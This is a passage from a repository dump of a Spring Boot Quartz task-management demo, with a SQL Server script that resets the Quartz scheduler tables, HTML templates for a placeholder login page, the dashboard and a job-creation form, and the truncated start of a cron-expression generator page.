QRTZ_CALENDARS\ngo\n\n/*==============================================================================*/\n/* Drop constraints: */\n/*==============================================================================*/\n\nalter table QRTZ_TRIGGERS\ndrop constraint FK_triggers_job_details\ngo\n\nalter table QRTZ_CRON_TRIGGERS\ndrop constraint FK_cron_triggers_triggers\ngo\n\nalter table QRTZ_SIMPLE_TRIGGERS\ndrop constraint FK_simple_triggers_triggers\ngo\n\nalter table QRTZ_SIMPROP_TRIGGERS\ndrop constraint FK_simprop_triggers_triggers\ngo\n\nalter table QRTZ_BLOB_TRIGGERS\ndrop constraint FK_blob_triggers_triggers\ngo\n\n/*==============================================================================*/\n/* Drop tables: */\n/*==============================================================================*/\n\ndrop table QRTZ_FIRED_TRIGGERS\ngo\ndrop table QRTZ_PAUSED_TRIGGER_GRPS\ngo\ndrop table QRTZ_SCHEDULER_STATE\ngo\ndrop table QRTZ_LOCKS\ngo\ndrop table QRTZ_SIMPLE_TRIGGERS\ngo\ndrop table QRTZ_SIMPROP_TRIGGERS\ngo\ndrop table QRTZ_CRON_TRIGGERS\ngo\ndrop table QRTZ_BLOB_TRIGGERS\ngo\ndrop table QRTZ_TRIGGERS\ngo\ndrop table QRTZ_JOB_DETAILS\ngo\ndrop table QRTZ_CALENDARS\ngo\n\n/*==============================================================================*/\n/* Create tables: */\n/*==============================================================================*/\n\ncreate table QRTZ_CALENDARS (\nSCHED_NAME varchar(120) not null,\nCALENDAR_NAME varchar(80) not null,\nCALENDAR image not null\n)\ngo\n\ncreate table QRTZ_CRON_TRIGGERS (\nSCHED_NAME varchar(120) not null,\nTRIGGER_NAME varchar(80) not null,\nTRIGGER_GROUP varchar(80) not null,\nCRON_EXPRESSION varchar(120) not null,\nTIME_ZONE_ID varchar(80) null,\n)\ngo\n\ncreate table QRTZ_PAUSED_TRIGGER_GRPS (\nSCHED_NAME varchar(120) not null,\nTRIGGER_GROUP  varchar(80) not null, \n)\ngo\n\ncreate table QRTZ_FIRED_TRIGGERS(\nSCHED_NAME varchar(120) not null,\nENTRY_ID varchar(95) not null,\nTRIGGER_NAME varchar(80) not null,\nTRIGGER_GROUP varchar(80) not null,\nINSTANCE_NAME varchar(80) not null,\nFIRED_TIME numeric(13,0) not null,\nSCHED_TIME numeric(13,0) not null,\nPRIORITY int not null,\nSTATE varchar(16) not null,\nJOB_NAME varchar(80) null,\nJOB_GROUP varchar(80) null,\nIS_NONCONCURRENT bit not null,\nREQUESTS_RECOVERY bit not null,\n)\ngo\n\ncreate table QRTZ_SCHEDULER_STATE (\nSCHED_NAME varchar(120) not null,\nINSTANCE_NAME varchar(80) not null,\nLAST_CHECKIN_TIME numeric(13,0) not null,\nCHECKIN_INTERVAL numeric(13,0) not null,\n)\ngo\n\ncreate table QRTZ_LOCKS (\nSCHED_NAME varchar(120) not null,\nLOCK_NAME  varchar(40) not null, \n)\ngo\n\n\ncreate table QRTZ_JOB_DETAILS (\nSCHED_NAME varchar(120) not null,\nJOB_NAME varchar(80) not null,\nJOB_GROUP varchar(80) not null,\nDESCRIPTION varchar(120) null,\nJOB_CLASS_NAME varchar(128) not null,\nIS_DURABLE bit not null,\nIS_NONCONCURRENT bit not null,\nIS_UPDATE_DATA bit not null,\nREQUESTS_RECOVERY bit not null,\nJOB_DATA image null\n)\ngo\n\ncreate table QRTZ_SIMPLE_TRIGGERS (\nSCHED_NAME varchar(120) not null,\nTRIGGER_NAME varchar(80) not null,\nTRIGGER_GROUP varchar(80) not null,\nREPEAT_COUNT numeric(13,0) not null,\nREPEAT_INTERVAL numeric(13,0) not null,\nTIMES_TRIGGERED numeric(13,0) not null\n)\ngo\n\nCREATE TABLE QRTZ_SIMPROP_TRIGGERS\n  (          \n    SCHED_NAME VARCHAR(120) NOT NULL,\n    TRIGGER_NAME VARCHAR(200) NOT NULL,\n    TRIGGER_GROUP VARCHAR(200) NOT NULL,\n    STR_PROP_1 VARCHAR(512) NULL,\n    STR_PROP_2 VARCHAR(512) NULL,\n    STR_PROP_3 VARCHAR(512) NULL,\n    INT_PROP_1 INT NULL,\n    INT_PROP_2 INT NULL,\n    LONG_PROP_1 NUMERIC(13,0) NULL,\n    LONG_PROP_2 NUMERIC(13,0) NULL,\n    DEC_PROP_1 NUMERIC(13,4) NULL,\n    DEC_PROP_2 NUMERIC(13,4) NULL,\n    BOOL_PROP_1 bit NOT NULL,\n    BOOL_PROP_2 bit NOT NULL\n)\ngo\n\ncreate table QRTZ_BLOB_TRIGGERS (\nSCHED_NAME varchar(120) not null,\nTRIGGER_NAME varchar(80) not null,\nTRIGGER_GROUP varchar(80) not null,\nBLOB_DATA image null\n)\ngo\n\ncreate table QRTZ_TRIGGERS (\nSCHED_NAME varchar(120) not null,\nTRIGGER_NAME varchar(80) not null,\nTRIGGER_GROUP varchar(80) not null,\nJOB_NAME varchar(80) not null,\nJOB_GROUP varchar(80) not null,\nDESCRIPTION varchar(120) null,\nNEXT_FIRE_TIME numeric(13,0) null,\nPREV_FIRE_TIME numeric(13,0) null,\nPRIORITY int null,\nTRIGGER_STATE varchar(16) not null,\nTRIGGER_TYPE varchar(8) not null,\nSTART_TIME numeric(13,0) not null,\nEND_TIME numeric(13,0) null,\nCALENDAR_NAME varchar(80) null,\nMISFIRE_INSTR smallint null,\nJOB_DATA image null\n)\ngo\n\n/*==============================================================================*/\n/* Create primary key constraints: */\n/*==============================================================================*/\n\nalter table QRTZ_CALENDARS\nadd constraint PK_qrtz_calendars primary key clustered (SCHED_NAME,CALENDAR_NAME)\ngo\n\nalter table QRTZ_CRON_TRIGGERS\nadd constraint PK_qrtz_cron_triggers primary key clustered (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\ngo\n\nalter table QRTZ_FIRED_TRIGGERS\nadd constraint PK_qrtz_fired_triggers primary key clustered (SCHED_NAME,ENTRY_ID)\ngo\n\nalter table QRTZ_PAUSED_TRIGGER_GRPS\nadd constraint PK_qrtz_paused_trigger_grps primary key clustered (SCHED_NAME,TRIGGER_GROUP)\ngo\n\nalter table QRTZ_SCHEDULER_STATE\nadd constraint PK_qrtz_scheduler_state primary key clustered (SCHED_NAME,INSTANCE_NAME)\ngo\n\nalter table QRTZ_LOCKS\nadd constraint PK_qrtz_locks primary key clustered (SCHED_NAME,LOCK_NAME)\ngo\n\nalter table QRTZ_JOB_DETAILS\nadd constraint PK_qrtz_job_details primary key clustered (SCHED_NAME,JOB_NAME, JOB_GROUP)\ngo\n\nalter table QRTZ_SIMPLE_TRIGGERS\nadd constraint PK_qrtz_simple_triggers primary key clustered (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\ngo\n\nalter table QRTZ_SIMPROP_TRIGGERS\nadd constraint PK_qrtz_simprop_triggers primary key clustered (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\ngo\n\nalter table QRTZ_TRIGGERS\nadd constraint PK_qrtz_triggers primary key clustered (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\ngo\n\nalter table QRTZ_BLOB_TRIGGERS\nadd constraint PK_qrtz_blob_triggers primary key clustered (SCHED_NAME,TRIGGER_NAME, TRIGGER_GROUP)\ngo\n\n\n/*==============================================================================*/\n/* Create foreign key constraints: */\n/*==============================================================================*/\n\nalter table QRTZ_CRON_TRIGGERS\nadd constraint FK_cron_triggers_triggers foreign key (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nreferences QRTZ_TRIGGERS (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\ngo\n\nalter table QRTZ_SIMPLE_TRIGGERS\nadd constraint FK_simple_triggers_triggers foreign key (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nreferences QRTZ_TRIGGERS (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\ngo\n\nalter table QRTZ_SIMPROP_TRIGGERS\nadd constraint FK_simprop_triggers_triggers foreign key (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nreferences QRTZ_TRIGGERS (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\ngo\n\nalter table QRTZ_TRIGGERS\nadd constraint FK_triggers_job_details foreign key (SCHED_NAME,JOB_NAME,JOB_GROUP)\nreferences QRTZ_JOB_DETAILS (SCHED_NAME,JOB_NAME,JOB_GROUP)\ngo\n\nalter table QRTZ_BLOB_TRIGGERS\nadd constraint FK_blob_triggers_triggers foreign key (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\nreferences QRTZ_TRIGGERS (SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP)\ngo\n\n/*==============================================================================*/\n/* End of script. */\n/*==============================================================================*/\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/templates/login.html",
    "content": "<!DOCTYPE HTML>\n<html>\n<head>\n    <meta charset=\"utf-8\"/>\n    <meta name=\"viewport\" content=\"width=device-width,user-scalable=no\"/>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\"/>\n    <meta name=\"keywords\" content=\"任务管理\"/>\n    <meta name=\"description\" content=\"任务管理\"/>\n    <meta name=\"author\" content=\"小柒2012\" />\n    <meta name=\"site\" content=\"https://blog.52itstyle.com\" />\n    <title>登陆</title>\n    <link th:href=\"@{/flat_ui/css/vendor/bootstrap.min.css}\" rel=\"stylesheet\"/>\n    <link th:href=\"@{/flat_ui/css/flat-ui.css}\" rel=\"stylesheet\"/>\n</head>\n<body>\n<div class=\"container\" style=\"margin-top: 1%;\">\n    <div class=\"row\">\n        <div class=\"col-md-10 col-md-offset-1\">\n\n            <div class=\"login\">\n                <div class=\"login-screen\">\n                    <div class=\"login-icon\">\n                        <a target=\"_blank\" href=\"https://blog.52itstyle.com\" class=\"text-warning\"><h3>科帮网</h3></a>\n                        <a target=\"_blank\" href=\"https://blog.52itstyle.com/\"><img\n                                th:src=\"@{/flat_ui/img/qiuchang8_qrcode.jpg}\"\n                                class=\"img-rounded img-responsive\"/></a>\n                    </div>\n                    <div class=\"login-form\">\n                        <!-- 这是个假的登录 -->\n                        <!-- <form  method=\"post\"> -->\n                            <div class=\"control-group\">\n                                <input type=\"text\" name=\"username\" class=\"login-field form-control\" id=\"username\"\n                                       placeholder=\"请输入用户名\"\n                                       required=\"required\" maxlength=\"255\" autocomplete=\"off\"/>\n                                <label class=\"login-field-icon fui-user\" for=\"username\"></label>\n                            </div>\n                            <div class=\"control-group\">\n                                <input type=\"password\" name=\"password\" class=\"login-field form-control\" id=\"password\"\n                                       placeholder=\"请输入密码\"\n                                       required=\"required\" maxlength=\"255\"/>\n                                <label class=\"login-field-icon fui-lock\" for=\"password\"></label>\n                            </div>\n\n                            <button  class=\"btn btn-primary btn-large btn-block\" onclick=\"window.location.href='main.shtml#task/index.shtml'\">登陆</button>\n\n                            <span class=\"text-danger pull-right\" style=\"font-size: 13px;margin-top: 15px;\">\n\n                            </span>\n                            <a class=\"login-link\" target=\"_blank\" href=\"https://blog.52itstyle.vip\">&raquo; 注册</a>\n                       <!--  </form> -->\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n</div>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/templates/main.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n  <title>任务管理系统</title>\n  <!-- Tell the browser to be responsive to screen width -->\n  <meta content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\" name=\"viewport\">\n  <!-- Bootstrap 3.3.7 -->\n  <link rel=\"stylesheet\" th:href=\"@{/bootstrap/css/bootstrap.min.css}\">\n  <!-- Font Awesome -->\n  <link rel=\"stylesheet\" th:href=\"@{/font-awesome/css/font-awesome.min.css}\">\n  <!-- Ionicons -->\n  <link rel=\"stylesheet\" th:href=\"@{/Ionicons/css/ionicons.min.css}\">\n  <!-- Theme style -->\n  <link rel=\"stylesheet\" th:href=\"@{/AdminLTE/css/AdminLTE.min.css}\">\n  <!-- AdminLTE Skins. Choose a skin from the css/skins\n       folder instead of downloading all of them to reduce the load. -->\n  <link rel=\"stylesheet\" th:href=\"@{/AdminLTE/css/skins/_all-skins.min.css}\">\n\n  <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->\n  <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->\n  <!--[if lt IE 9]>\n  <script src=\"https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js\"></script>\n  <script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n  <![endif]-->\n\n  <!-- Google Font -->\n  <link rel=\"stylesheet\"\n        href=\"https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic\">\n</head>\n<body class=\"hold-transition skin-blue sidebar-mini\">\n<div class=\"wrapper\">\n\n  <header class=\"main-header\">\n    <!-- Logo -->\n    <a href=\"main.shtml\" class=\"logo\">\n      <span class=\"logo-mini\"><b>T</b>ask</span>\n      <span class=\"logo-lg\"><b>任务管理</b></span>\n    </a>\n    <nav class=\"navbar navbar-static-top\">\n      <a href=\"#\" class=\"sidebar-toggle\" data-toggle=\"push-menu\" role=\"button\">\n        <span class=\"sr-only\">Toggle navigation</span>\n      </a>\n      <div class=\"navbar-custom-menu\">\n        <ul class=\"nav navbar-nav\">\n          <!-- 消息提醒  -->\n          <li class=\"dropdown notifications-menu\">\n            <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\">\n              <i class=\"fa fa-bell-o\"></i>\n              <span class=\"label label-warning\">1</span>\n            </a>\n            <ul class=\"dropdown-menu\">\n              <li class=\"header\">你有一个消息提醒</li>\n              <li>\n                <!-- inner menu: contains the actual data -->\n                <ul class=\"menu\">\n                  <li>\n                    <a href=\"#\">\n                      <i class=\"fa fa-users text-aqua\"></i> 一个任务执行失败\n                    </a>\n                  </li>\n                </ul>\n              </li>\n              <li class=\"footer\"><a href=\"javaScript:void(0)\">查看所有</a></li>\n            </ul>\n          </li>\n          <!-- 任务提醒 -->\n          <li class=\"dropdown user user-menu\">\n            <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\">\n              <img th:src=\"@{/AdminLTE/img/user2-160x160.jpg}\"  class=\"user-image\" alt=\"model.User Image\">\n              <span class=\"hidden-xs\">小柒</span>\n            </a>\n            <ul class=\"dropdown-menu\">\n              <li class=\"user-header\">\n                <img th:src=\"@{/AdminLTE/img/user2-160x160.jpg}\"  class=\"img-circle\" alt=\"model.User Image\">\n                <p> 即使你是天才，如果你不努力，你也会被其它人超越。</p>\n              </li>\n              <li class=\"user-body\">\n                <div class=\"row\">\n                  <div class=\"col-xs-4 text-center\">\n                    <a href=\"#\">Followers</a>\n                  </div>\n                  <div class=\"col-xs-4 text-center\">\n                    <a href=\"#\">Sales</a>\n                  </div>\n                  <div class=\"col-xs-4 text-center\">\n                    <a href=\"#\">Friends</a>\n                  </div>\n                </div>\n                <!-- /.row -->\n              </li>\n              <!-- Menu Footer-->\n              <li class=\"user-footer\">\n                <div class=\"pull-left\">\n                  <a href=\"#\" class=\"btn btn-default btn-flat\">Profile</a>\n                </div>\n                <div class=\"pull-right\">\n                  <a href=\"login.shtml\" class=\"btn btn-default btn-flat\">Sign out</a>\n                </div>\n              </li>\n            </ul>\n          </li>\n          <li>\n            <a href=\"#\" data-toggle=\"control-sidebar\"><i class=\"fa fa-gears\"></i></a>\n          </li>\n        </ul>\n      </div>\n    </nav>\n  </header>\n  <aside class=\"main-sidebar\">\n    <section class=\"sidebar\">\n      <div class=\"user-panel\">\n        <div class=\"pull-left image\">\n          <img th:src=\"@{/AdminLTE/img/user2-160x160.jpg}\"  class=\"img-circle\" alt=\"model.User Image\">\n        </div>\n        <div class=\"pull-left info\">\n          <p>小柒</p>\n          <a href=\"#\"><i class=\"fa fa-circle text-success\"></i> Online</a>\n        </div>\n      </div>\n     \n      <ul class=\"sidebar-menu\" data-widget=\"tree\">\n        <li class=\"active treeview menu-open\">\n          <a href=\"#\">\n            <i class=\"fa fa-dashboard\"></i> <span>任务管理</span>\n            <span class=\"pull-right-container\">\n              <i class=\"fa fa-angle-left pull-right\"></i>\n            </span>\n          </a>\n          <ul class=\"treeview-menu\">\n              <li data-src=\"task/index.shtml\"><a  href=\"#task/index.shtml\"><i class=\"fa fa-circle-o\"></i>任务列表</a></li>\n          </ul>\n          <ul class=\"treeview-menu\">\n              <li data-src=\"task/cron.shtml\"><a  href=\"#task/cron.shtml\"><i class=\"fa fa-circle-o\"></i>表达式生成器</a></li>\n          </ul>\n        </li>\n      </ul>\n    </section>\n  </aside>\n\n  <div class=\"content-wrapper\">\n    <section class=\"content-header\">\n      <h1>\n        Dashboard\n      </h1>\n      <ol class=\"breadcrumb\">\n        <li><a href=\"main.shtml\"><i class=\"fa fa-dashboard\"></i> Home</a></li>\n        <li class=\"active\">Dashboard</li>\n      </ol>\n    </section>\n    <!-- 主页 -->\n    <section class=\"content\">\n<!--      <div class=\"row\">-->\n<!--        <div class=\"col-md-3 col-sm-6 col-xs-12\">-->\n<!--          <div class=\"info-box\">-->\n<!--            <span class=\"info-box-icon bg-aqua\"><i class=\"ion ion-ios-gear-outline\"></i></span>-->\n\n<!--            <div class=\"info-box-content\">-->\n<!--              <span class=\"info-box-text\">CPU Traffic</span>-->\n<!--              <span class=\"info-box-number\">90<small>%</small></span>-->\n<!--            </div>-->\n<!--          </div>-->\n<!--        </div>-->\n<!--        <div class=\"col-md-3 col-sm-6 col-xs-12\">-->\n<!--          <div class=\"info-box\">-->\n<!--            <span class=\"info-box-icon bg-red\"><i class=\"fa fa-google-plus\"></i></span>-->\n\n<!--            <div class=\"info-box-content\">-->\n<!--              <span class=\"info-box-text\">Likes</span>-->\n<!--              <span class=\"info-box-number\">41,410</span>-->\n<!--            </div>-->\n<!--          </div>-->\n<!--        </div>-->\n<!--        <div class=\"clearfix visible-sm-block\"></div>-->\n<!--        <div class=\"col-md-3 col-sm-6 col-xs-12\">-->\n<!--          <div class=\"info-box\">-->\n<!--            <span class=\"info-box-icon bg-green\"><i class=\"ion ion-ios-cart-outline\"></i></span>-->\n\n<!--            <div class=\"info-box-content\">-->\n<!--              <span class=\"info-box-text\">Sales</span>-->\n<!--              <span class=\"info-box-number\">760</span>-->\n<!--            </div>-->\n<!--          </div>-->\n<!--        </div>-->\n<!--        <div class=\"col-md-3 col-sm-6 col-xs-12\">-->\n<!--          <div class=\"info-box\">-->\n<!--            <span class=\"info-box-icon bg-yellow\"><i class=\"ion ion-ios-people-outline\"></i></span>-->\n\n<!--            <div class=\"info-box-content\">-->\n<!--              <span class=\"info-box-text\">New Members</span>-->\n<!--              <span class=\"info-box-number\">2,000</span>-->\n<!--            </div>-->\n<!--          </div>-->\n<!--        </div>-->\n<!--      </div>-->\n      <iframe scrolling=\"yes\" frameborder=\"0\"\n\t\t\t\t\tstyle=\"width: 100%; min-height: 600px; overflow: visible; background: #fff;\"\n\t\t\t\t\tsrc='' id=\"main\" name=\"main\"></iframe>\n    </section>\n  </div>\n\n  <footer class=\"main-footer\">\n    <strong>Copyright &copy; 2014-2018 <a href=\"https://blog.52itstyle.vip\">爪哇笔记</a>.</strong> All rights\n    reserved.\n  </footer>\n  <!-- Control Sidebar -->\n  <aside class=\"control-sidebar control-sidebar-dark\">\n    <div class=\"tab-content\">\n      <div class=\"tab-pane\" id=\"control-sidebar-home-tab\">\n        \n      </div>\n\n    </div>\n  </aside>\n  <div class=\"control-sidebar-bg\"></div>\n</div>\n<!-- jQuery 3 -->\n<script th:src=\"@{/libs/jquery-3.2.1.min.js}\"></script>\n<script th:src=\"@{/layer/layer.js}\" type=\"text/javascript\"></script>\n<!-- Bootstrap 3.3.7 -->\n<script th:src=\"@{/bootstrap/js/bootstrap.min.js}\"></script>\n<!-- AdminLTE App -->\n<script th:src=\"@{/AdminLTE/js/adminlte.min.js}\"></script>\n<!-- AdminLTE for demo purposes -->\n<script th:src=\"@{/AdminLTE/js/main.js}\"></script>\n<script type=\"text/javascript\">\n\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/templates/task/add.html",
    "content": "<!DOCTYPE html>\n<html xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n    <title>任务首页 - 科帮网</title>\n    <meta name=\"author\" content=\"小柒2012\" />\n    <meta name=\"site\" content=\"https://blog.52itstyle.com\" />\n    <link rel=\"stylesheet\" th:href=\"@{/iview/iview.css}\">\n    <script th:src=\"@{/libs/jquery-3.2.1.min.js}\" type=\"text/javascript\"></script>\n\t<script th:src=\"@{/libs/vue.min.js}\" type=\"text/javascript\"></script>\n\t<script th:src=\"@{/layer/layer.js}\" type=\"text/javascript\"></script>\n\t<script th:src=\"@{/iview/iview.min.js}\" type=\"text/javascript\"></script>\n    <style type=\"text/css\">\n\t[v-cloak] {\n\t\t\t  display: none;\n\t\t\t}\n\t</style>\n</head>\n<body>\n<div id=\"app\" v-cloak style=\"margin: 30px\">\n<template>\n\t    <i-form v-ref:form-quartz :model=\"formQuartz\" :rules=\"ruleValidate\" :label-width=\"80\">\n\t        <Form-item label=\"任务名称\" prop=\"jobName\">\n\t            <i-input  v-model=\"formQuartz.jobName\"  :value.sync=\"formQuartz.jobName\" placeholder=\"请输入任务名称\"></i-input>\n\t        </Form-item>\n\t        <Form-item label=\"任务分组\" prop=\"jobGroup\" >\n\t            <i-input  v-model=\"formQuartz.jobGroup\" :value.sync=\"formQuartz.jobGroup\" placeholder=\"请输入任务分组\"></i-input>\n\t        </Form-item>\n\t        <Form-item label=\"任务描述\" prop=\"description\">\n\t            <i-input  v-model=\"formQuartz.description\" :value.sync=\"formQuartz.description\" placeholder=\"请输入任务描述\"></i-input>\n\t        </Form-item>\n\t        <Form-item label=\"执行类\" prop=\"jobClassName\">\n\t            <i-input v-model=\"formQuartz.jobClassName\" :value.sync=\"formQuartz.jobClassName\" placeholder=\"请输入执行类\"></i-input>\n\t        </Form-item>\n            <Form-item label=\"执行方法\" prop=\"jobMethodName\">\n                <i-input v-model=\"formQuartz.jobMethodName\" :value.sync=\"formQuartz.jobMethodName\" placeholder=\"请输入执行类\"></i-input>\n            </Form-item>\n\t        <Form-item label=\"执行时间\" prop=\"cronExpression\">\n\t            <i-input v-model=\"formQuartz.cronExpression\" :value.sync=\"formQuartz.cronExpression\" placeholder=\"请输入任务执行时间\"></i-input>\n\t        </Form-item>\n\t    </i-form>\n</template>\n</div>\n<script type=\"text/javascript\">\nvar vm = new Vue({\n\tel : '#app',\n\tdata : {\n\t\tformQuartz: {\n\t\t\tjobName : '',\n\t\t\tjobGroup : '',\n\t\t\tdescription : '',\n\t\t\tjobClassName : 'com.itstyle.quartz.job.ChickenJob',\n\t\t\tcronExpression : '',\n\t\t\t//旧任务名称  用于修改\n\t\t\toldJobName : '',\n\t\t\toldJobGroup : '',\n\t\t\tjobMethodName:''\n        },\n        ruleValidate: {\n        \tjobName: [\n                { required: true, message: '任务名称不能为空', trigger: 'blur' }\n            ],\n            jobMethodName: [\n                { required: true, message: '执行方法不能为空', trigger: 'blur' }\n            ],\n            jobGroup: [\n                { required: true, message: '任务分组不能为空', trigger: 'blur' }\n            ],\n            description: [\n                { required: true, message: '任务描述不能为空', trigger: 'blur' }\n            ],\n            jobClassName: [\n                { required: true, message: '执行类不能为空', trigger: 'blur' }\n            ],\n            cronExpression: [\n                { required: true, message: '执行时间不能为空', trigger: 'blur' }\n            ]\n        }\n\t},\n\tmethods : {\n\t\t//新建任务(略简单)\n\t\tacceptClick : function(){\n\t\t  //Validate不起作用MD\n\t\t  var quartz =  vm.formQuartz;\n\t\t  if(vm.formQuartz.jobName==\"\"||vm.formQuartz.jobGroup==\"\"||vm.formQuartz.description==\"\"\n\t\t\t\t  ||vm.formQuartz.jobClassName==\"\"||vm.formQuartz.cronExpression==\"\"){\n\t\t\t  alert(\"请输入以上完整信息\");\n\t\t\t  return;\n\t\t  }\n\t\t  $.ajax({\n\t\t\t\turl:\"../job/add\",\n\t\t\t\ttype:\"post\",\n\t\t\t\tdata:quartz,\n\t\t\t\tsuccess: function(result) {\n\t\t\t\t\tif(result.code==\"0\"){\n\t\t\t\t\t\twindow.parent.location.reload();\n\t\t\t\t\t\t//$(window.parent.document).contents().find('#app')[0].contentWindow.vm.load();\n\t\t\t\t\t}else{\n\t\t\t\t\t\tvm.$Notice.error({\n\t\t                    desc:  '系统异常'\n\t\t                });\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t},\n\tcreated : function() {\n\t\t\n\t}\n})\n\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/resources/templates/task/cron.html",
    "content": "﻿<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Cron Generator</title>\n    <link rel=\"stylesheet\" th:href=\"@{/cron/bootstrap.min.css}\" >\n    <link rel=\"stylesheet\" th:href=\"@{/cron/fontas/css/font-awesome.min.css}\">\n    <script th:src=\"@{/cron/jquery.min.js}\"></script>\n    <script th:src=\"@{/cron/bootstrap.min.js}\"></script>\n    <link th:href=\"@{/cron/icheck/skin/blue.css}\" rel=\"stylesheet\">\n    <link th:href=\"@{/cron/button/buttons.css}\" rel=\"stylesheet\">\n    <script th:src=\"@{/cron/icheck/icheck.min.js}\"></script>\n    <script th:src=\"@{/cron/spinner/jquery.spinner.min.js}\"></script>\n    <script th:src=\"@{/cron/init.js}\"></script>\n    <script th:src=\"@{/cron/cronboot.js}\"></script>\n</head>\n<body>\n<div class=\"container-fluid\">\n    <div class=\"col-xs-12 col-sm-12 col-md-10 col-md-offset-1\">\n        <div class=\"panel panel-primary\">\n            <div class=\"panel-heading\">\n                <h3 class=\"panel-title\">生成器</h3>\n            </div>\n            <div class=\"panel-body\">\n\n                <ul id=\"myTab\" class=\"nav nav-tabs\">\n                    <li class=\"active\"><a href=\"#t_second\" data-toggle=\"tab\">秒</a></li>\n                    <li><a href=\"#t_min\" data-toggle=\"tab\">分</a></li>\n                    <li><a href=\"#t_hour\" data-toggle=\"tab\">时</a></li>\n                    <li><a href=\"#t_day\" data-toggle=\"tab\">日</a></li>\n                    <li><a href=\"#t_month\" data-toggle=\"tab\">月</a></li>\n                    <li><a href=\"#t_quarter\" data-toggle=\"tab\">季</a></li>\n                    <li><a href=\"#t_week\" data-toggle=\"tab\">周</a></li>\n                    <li><a href=\"#t_year\" data-toggle=\"tab\">年</a></li>\n                </ul>\n                <div id=\"myTabContent\" class=\"tab-content\">\n                    <div class=\"tab-pane fade in active\" id=\"t_second\">\n\n                        <div class=\"radiocheck\"><p><input type=\"radio\" checked=\"checked\" id=\"r_second\" name=\"second\"\n                                                          class=\"firstradio\">&nbsp;\n                            &nbsp; 每秒</p></div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        <input type=\"radio\" name=\"second\" class=\"cycleradio\">\n                                        &nbsp; &nbsp;周期&nbsp; 从\n                                        <input type=\"text\" data-max=\"59\" value=\"0\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"second\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 秒\n                                    </div>\n                                </div>\n                                <div class=\"col-xs-12 col-sm-6 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"cyclespin\">\n                                        到\n\n                                        <input type=\"text\" data-max=\"59\" value=\"0\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"second\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\"  icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        秒\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                        <div class=\"radiocheck\">\n                            <p>\n\n                            <div class=\"row\">\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        <input type=\"radio\" name=\"second\" class=\"loopradio\">\n                                        &nbsp; &nbsp;循环&nbsp; 从\n                                        <input type=\"text\" data-max=\"59\" value=\"0\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"second\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i\n                                                class=\"  icon-plus-sign icon-large\"></i></a> 秒 开始\n                                    </div>\n                                </div>\n\n                                <div class=\"col-xs-12 col-sm-12 col-md-3\">\n                                    <div data-trigger=\"spinner\" class=\"loopspin\">\n                                        每\n\n                                        <input type=\"text\" data-max=\"59\" value=\"0\" style=\"width:50px;\" class=\"numberspinner\"\n                                               name=\"second\">\n                                        <a href=\"javascript:;\" data-spin=\"down\"><i\n                                                class=\" icon-minus-sign icon-large \"></i></a>\n                                        <a href=\"javascript:;\" data-spin=\"up\"><i class=\"icon-plus-sign icon-large\"></i></a>\n                                        秒 执行一次\n                                    </div>\n                                </div>\n                            </div>\n                            </p>\n                        </div>\n\n\n                        <div class=\"radiocheck\">\n                            <p><input type=\"radio\" name=\"second\" class=\"choiceradio\">&nbsp; 